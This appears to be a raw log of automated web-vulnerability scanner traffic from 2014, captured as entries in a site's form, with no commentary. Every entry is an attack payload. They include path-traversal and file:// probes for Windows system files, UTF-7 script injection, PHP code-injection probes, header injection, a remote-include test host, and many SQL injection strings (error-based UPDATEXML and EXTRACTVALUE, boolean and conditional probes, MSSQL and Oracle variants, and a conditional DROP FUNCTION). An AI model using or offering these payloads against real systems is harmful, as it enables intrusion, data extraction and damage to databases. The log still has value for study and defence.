hacker2014-9-18 0:24:10182.118.33.688888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-9-18 0:24:12182.118.33.688888 
..\..\..\..\..\..\..\..\windows\win.ini
hacker2014-9-18 0:24:13182.118.33.688888 
../..//../..//../..//../..//../..//../..//../..//../..//boot.ini
hacker2014-9-18 0:24:16182.118.33.688888 
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
hacker2014-9-18 0:24:19182.118.33.688888 
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini
hacker2014-9-18 0:24:24182.118.33.688888 
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
hacker2014-9-18 0:24:26182.118.33.688888 
................windows/win.ini
hacker2014-9-18 0:24:27182.118.33.688888 
..\..\..\..\..\..\..\..\windows\win.ini
hacker2014-9-18 0:24:28182.118.33.688888 
|..\..\..\..\..\..\..\..\windows\win.ini
hacker2014-9-18 0:24:29182.118.33.6oxoxoxoxoxoxox.com 
88888
hacker2014-9-18 0:24:30182.118.33.6+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
88888
hacker2014-9-18 0:24:30182.118.33.688888 
../../../../../../../../boot.ini
hacker2014-9-18 0:24:31182.118.33.688888 
../../../../../../../../windows/win.ini
hacker2014-9-18 0:24:32182.118.33.6print(md5(1122))# 
88888
hacker2014-9-18 0:24:34182.118.33.688888 
../../../../../../../../windows/win.ini
hacker2014-9-18 0:24:35182.118.33.6)print(md5(1122))// 
88888
hacker2014-9-18 0:24:37182.118.33.6${@print(md5(1122))} 
88888
hacker2014-9-18 0:24:39182.118.33.6data:text/plain,?php print(md5(1122))? 
88888
hacker2014-9-18 0:24:42182.118.33.6phpinfo 
88888
hacker2014-9-18 0:24:42182.118.33.688888 
file:///c:/boot.ini
hacker2014-9-18 0:24:43182.118.33.688888 
file:///c:/windows/win.ini
hacker2014-9-18 0:24:49182.118.33.6?exit(md5(1122))? 
88888
hacker2014-9-18 0:24:50182.118.33.688888 
http://some-inexistent-website.com/some_inexistent_file_with_lg_name
hacker2014-9-18 0:24:51182.118.33.688888 
/some_inexistent_file_with_lg_name
hacker2014-9-18 0:24:52182.118.33.688888 
SomeCustomInjectedHeader:injected_by_test
hacker2014-9-18 0:24:53182.118.33.688888 
SomeCustomInjectedHeader:injected_by_test
hacker2014-9-18 0:24:54182.118.33.688888 
SomeCustomInjectedHeader:injected_by_test
hacker2014-9-18 0:24:55182.118.33.688888 
dir
hacker2014-9-18 0:24:57182.118.33.688888 
dir
hacker2014-9-18 0:24:58182.118.33.688888 
http://oxoxoxoxoxoxox.com
hacker2014-9-18 0:24:59182.118.33.688888 
oxoxoxoxoxoxox.com
hacker2014-9-18 0:25:01182.118.33.688888 
+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
hacker2014-9-18 0:25:28182.118.33.688888 
print(md5(1122))#
hacker2014-9-18 0:25:34182.118.33.688888 
)print(md5(1122))//
hacker2014-9-18 0:25:39182.118.33.688888 
${@print(md5(1122))}
hacker2014-9-18 0:26:11182.118.33.688888 
data:text/plain,?php print(md5(1122))?
hacker2014-9-18 0:26:42182.118.33.688888 
phpinfo
hacker2014-9-18 0:26:43182.118.33.688888 
?exit(md5(1122))?
hacker2014-11-14 22:22:35123.125.160.21688888 
88888
hacker2014-11-14 22:22:35123.125.160.21688888 
88888
hacker2014-11-14 22:22:36123.125.160.21688888 
88888
hacker2014-11-14 22:22:37123.125.160.216 
88888
hacker2014-11-14 22:22:42123.125.160.21688888 
88888
hacker2014-11-14 22:22:43123.125.160.21688888 
88888
hacker2014-11-14 22:22:44123.125.160.21688888 
88888
hacker2014-11-14 22:22:59123.125.160.216 
88888
hacker2014-11-14 22:23:00123.125.160.216 
88888
hacker2014-11-14 22:23:01123.125.160.216 
88888
hacker2014-11-14 22:23:03123.125.160.216 
88888
hacker2014-11-14 22:23:04123.125.160.216 
88888
hacker2014-11-14 22:23:07123.125.160.216 
88888
hacker2014-11-14 22:23:08123.125.160.216 
88888
hacker2014-11-14 22:23:13123.125.160.21688888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-11-14 22:23:13123.125.160.21688888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-11-14 22:23:14123.125.160.21688888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-11-14 22:23:15123.125.160.21688888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-11-14 22:23:16123.125.160.21688888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-11-14 22:23:17123.125.160.21688888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-11-14 22:23:18123.125.160.21688888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-11-14 22:23:18123.125.160.21688888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-11-14 22:23:19123.125.160.21688888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-11-14 22:23:19123.125.160.21688888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-11-14 22:23:20123.125.160.21688888 
88888
hacker2014-11-14 22:23:20123.125.160.21688888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2014-11-14 22:23:21123.125.160.21688888 
88888
hacker2014-11-14 22:23:21123.125.160.21688888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2014-11-14 22:23:22123.125.160.21688888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2014-11-14 22:23:23123.125.160.21688888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2014-11-14 22:23:24123.125.160.21688888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2014-11-14 22:23:24123.125.160.21688888 
88888
hacker2014-11-14 22:23:25123.125.160.21688888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-11-14 22:23:25123.125.160.21688888 
88888 AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 11
hacker2014-11-14 22:23:26123.125.160.21688888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-11-14 22:23:26123.125.160.21688888 
88888 AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 11
hacker2014-11-14 22:23:27123.125.160.21688888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-11-14 22:23:27123.125.160.21688888 
88888 AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND
hacker2014-11-14 22:23:27123.125.160.21688888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-11-14 22:23:28123.125.160.21688888 
88888 AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND
hacker2014-11-14 22:23:28123.125.160.21688888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-11-14 22:23:29123.125.160.21688888 
88888) AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) #
hacker2014-11-14 22:23:29123.125.160.21688888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND  
88888
hacker2014-11-14 22:23:30123.125.160.21688888 
88888) AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) #
hacker2014-11-14 22:23:30123.125.160.21688888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND TaTa 
88888
hacker2014-11-14 22:23:31123.125.160.21688888 
88888 AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT(1,(SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 11
hacker2014-11-14 22:23:31123.125.160.21688888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (TaTa 
88888
hacker2014-11-14 22:23:33123.125.160.21688888 
88888 AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT(1,(SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 11
hacker2014-11-14 22:23:33123.125.160.21688888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (20142014 
88888
hacker2014-11-14 22:23:34123.125.160.21688888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-11-14 22:23:34123.125.160.21688888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) 
88888
hacker2014-11-14 22:23:36123.125.160.21688888 AND 1CHAR(106)+CHAR(106)+CHAR(106) 
88888
hacker2014-11-14 22:23:36123.125.160.21688888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-11-14 22:23:37123.125.160.21688888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-11-14 22:23:37123.125.160.21688888 AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2014-11-14 22:23:38123.125.160.21688888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-11-14 22:23:38123.125.160.21688888 AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2014-11-14 22:23:39123.125.160.21688888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-11-14 22:23:40123.125.160.21688888) AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2014-11-14 22:23:40123.125.160.21688888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-11-14 22:23:41123.125.160.21688888) AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2014-11-14 22:23:41123.125.160.21688888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-11-14 22:23:42123.125.160.216 
88888
hacker2014-11-14 22:23:42123.125.160.21688888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-11-14 22:23:43123.125.160.216 
88888
hacker2014-11-14 22:23:43123.125.160.21688888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-11-14 22:23:44123.125.160.21688888 AND 1122(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) AND  
88888
hacker2014-11-14 22:23:44123.125.160.21688888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-11-14 22:23:45123.125.160.21688888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-11-14 22:23:45123.125.160.216 
88888
hacker2014-11-14 22:23:46123.125.160.21688888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-11-14 22:23:46123.125.160.21688888 AND 1122(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) 
88888
hacker2014-11-14 22:23:47123.125.160.21688888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-11-14 22:23:47123.125.160.216 
88888
hacker2014-11-14 22:23:47123.125.160.21688888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-11-14 22:23:47123.125.160.216(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 
88888
hacker2014-11-14 22:23:48123.125.160.21688888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-11-14 22:23:48123.125.160.216EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 
88888
hacker2014-11-14 22:23:48123.125.160.21688888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-11-14 22:23:48123.125.160.216CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) 
88888
hacker2014-11-14 22:23:48123.125.160.21688888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-11-14 22:23:49123.125.160.216(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) 
88888
hacker2014-11-14 22:23:50123.125.160.21688888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-11-14 22:23:50123.125.160.216 
88888
hacker2014-11-14 22:23:50123.125.160.21688888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-11-14 22:23:51123.125.160.21688888 AND 2697 
88888
hacker2014-11-14 22:23:51123.125.160.21688888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-11-14 22:23:51123.125.160.21688888 AND 8686 
88888
hacker2014-11-14 22:23:52123.125.160.21688888 
88888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND
hacker2014-11-14 22:23:52123.125.160.21688888) AND 1424 AND (1414 
88888
hacker2014-11-14 22:23:53123.125.160.21688888 
88888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND TaTa
hacker2014-11-14 22:23:53123.125.160.21688888) AND 4545 AND (4545 
88888
hacker2014-11-14 22:23:54123.125.160.21688888 
88888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (TaTa
hacker2014-11-14 22:23:54123.125.160.21688888 OR 1111 LIMIT 100 -- 
88888
hacker2014-11-14 22:23:55123.125.160.21688888 
88888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (20142014
hacker2014-11-14 22:23:55123.125.160.21688888 OR 3712 
88888
hacker2014-11-14 22:23:55123.125.160.21688888 
88888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101)))
hacker2014-11-14 22:23:55123.125.160.21688888,(SELECT (CASE WHEN (2459) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2014-11-14 22:23:56123.125.160.21688888 
88888 AND 1CHAR(106)+CHAR(106)+CHAR(106)
hacker2014-11-14 22:23:56123.125.160.21688888,(SELECT (CASE WHEN (9696) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2014-11-14 22:23:56123.125.160.21688888 
88888 AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2014-11-14 22:23:57123.125.160.21688888,IIF(8146,88888,1/0) 
88888
hacker2014-11-14 22:23:57123.125.160.21688888 
88888 AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2014-11-14 22:23:57123.125.160.21688888,IIF(7777,88888,1/0) 
88888
hacker2014-11-14 22:23:58123.125.160.21688888 
88888) AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2014-11-14 22:23:59123.125.160.21688888 RLIKE (SELECT (CASE WHEN (2359) THEN 88888 ELSE 0x28 END)) 
88888
hacker2014-11-14 22:23:59123.125.160.21688888 
88888) AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2014-11-14 22:23:59123.125.160.21688888 RLIKE (SELECT (CASE WHEN (2121) THEN 88888 ELSE 0x28 END)) 
88888
hacker2014-11-14 22:24:00123.125.160.21688888 
88888 AND 1122(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) AND NASDAQNASDAQ
hacker2014-11-14 22:24:00123.125.160.21688888) RLIKE (SELECT (CASE WHEN (2485) THEN 88888 ELSE 0x28 END)) AND (2424 
88888
hacker2014-11-14 22:24:01123.125.160.21688888 
88888) AND 1122(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) AND (NASDAQNASDAQ
hacker2014-11-14 22:24:01123.125.160.21688888 
88888
hacker2014-11-14 22:24:01123.125.160.21688888) RLIKE (SELECT (CASE WHEN (8888) THEN 88888 ELSE 0x28 END)) AND (7171 
88888
hacker2014-11-14 22:24:02123.125.160.21688888 
88888 AND 1122(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) AND
hacker2014-11-14 22:24:02123.125.160.21688888 
88888
hacker2014-11-14 22:24:03123.125.160.21688888) OR 3333 OR (3333) LIMIT 100 -- 
88888
hacker2014-11-14 22:24:03123.125.160.21688888 
88888) AND 1122(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) AND (20142014
hacker2014-11-14 22:24:03123.125.160.21688888 
88888
hacker2014-11-14 22:24:04123.125.160.21688888) OR 5485 OR (5485 
88888
hacker2014-11-14 22:24:04123.125.160.21688888 
88888 AND 1122(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL)
hacker2014-11-14 22:24:05123.125.160.216(SELECT (CASE WHEN (9121) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2014-11-14 22:24:05123.125.160.21688888 
(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
hacker2014-11-14 22:24:06123.125.160.216(SELECT (CASE WHEN (9898) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2014-11-14 22:24:06123.125.160.21688888 
(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1))
hacker2014-11-14 22:24:06123.125.160.216IIF(7867,88888,1/0) 
88888
hacker2014-11-14 22:24:07123.125.160.21688888 
EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74))
hacker2014-11-14 22:24:08123.125.160.216IIF(1111,88888,1/0) 
88888
hacker2014-11-14 22:24:09123.125.160.21688888 
CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101)))
hacker2014-11-14 22:24:10123.125.160.21688888 AND S0kt 
88888
hacker2014-11-14 22:24:10123.125.160.21688888 
(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL)
hacker2014-11-14 22:24:11123.125.160.21688888 AND 5050 
88888
hacker2014-11-14 22:24:12123.125.160.21688888 
(SELECT CHAR(116)+CHAR(104)+CHAR(105)+CHAR(110)+CHAR(107)+CHAR(58)+(SELECT (CASE WHEN (19431943) THEN CHAR(105) ELSE CHAR(48) END))+CHAR(58)+CHAR(100)+CHAR(105)+CHAR(102)+CHAR(102)+CHAR(101)+CHAR(114)+CHAR(101)+CHAR(110)+CHAR(116))
hacker2014-11-14 22:24:13123.125.160.21688888 AND 7261 AND  
88888
hacker2014-11-14 22:24:13123.125.160.21688888 
88888 AND 3566
hacker2014-11-14 22:24:14123.125.160.21688888 AND 5353 AND  
88888
hacker2014-11-14 22:24:15123.125.160.21688888 
88888 AND 8383
hacker2014-11-14 22:24:15123.125.160.21688888) AND 6156 AND (TBTB 
88888
hacker2014-11-14 22:24:16123.125.160.21688888 
88888) AND 1613 AND (1616
hacker2014-11-14 22:24:17123.125.160.21688888) AND 1313 AND (aTaT 
88888
hacker2014-11-14 22:24:17123.125.160.21688888 
88888) AND 5555 AND (5555
hacker2014-11-14 22:24:18123.125.160.2168888827 AND 7313 # 
88888
hacker2014-11-14 22:24:18123.125.160.21688888 
88888 OR 6464 LIMIT 100 --
hacker2014-11-14 22:24:19123.125.160.21688888 
88888,(SELECT (CASE WHEN (7835) THEN 88888 ELSE 1/(SELECT 0) END))
hacker2014-11-14 22:24:19123.125.160.2168888827 AND 8282 # 
88888
hacker2014-11-14 22:24:20123.125.160.21688888 
88888,(SELECT (CASE WHEN (1313) THEN 88888 ELSE 1/(SELECT 0) END))
hacker2014-11-14 22:24:20123.125.160.21688888) AND 1252 AND 1 like( 
88888
hacker2014-11-14 22:24:20123.125.160.21688888 
88888,IIF(5731,88888,1/0)
hacker2014-11-14 22:24:21123.125.160.21688888) AND 9393 AND 1 like( 
88888
hacker2014-11-14 22:24:22123.125.160.21688888 
88888 RLIKE (SELECT (CASE WHEN (1711) THEN 88888 ELSE 0x28 END))
hacker2014-11-14 22:24:22123.125.160.21688888 OR STST LIMIT 100 -- 
88888
hacker2014-11-14 22:24:23123.125.160.21688888 IF(9722) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2014-11-14 22:24:23123.125.160.21688888 
88888) RLIKE (SELECT (CASE WHEN (1383) THEN 88888 ELSE 0x28 END)) AND (1313
hacker2014-11-14 22:24:24123.125.160.21688888 IF(1111) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
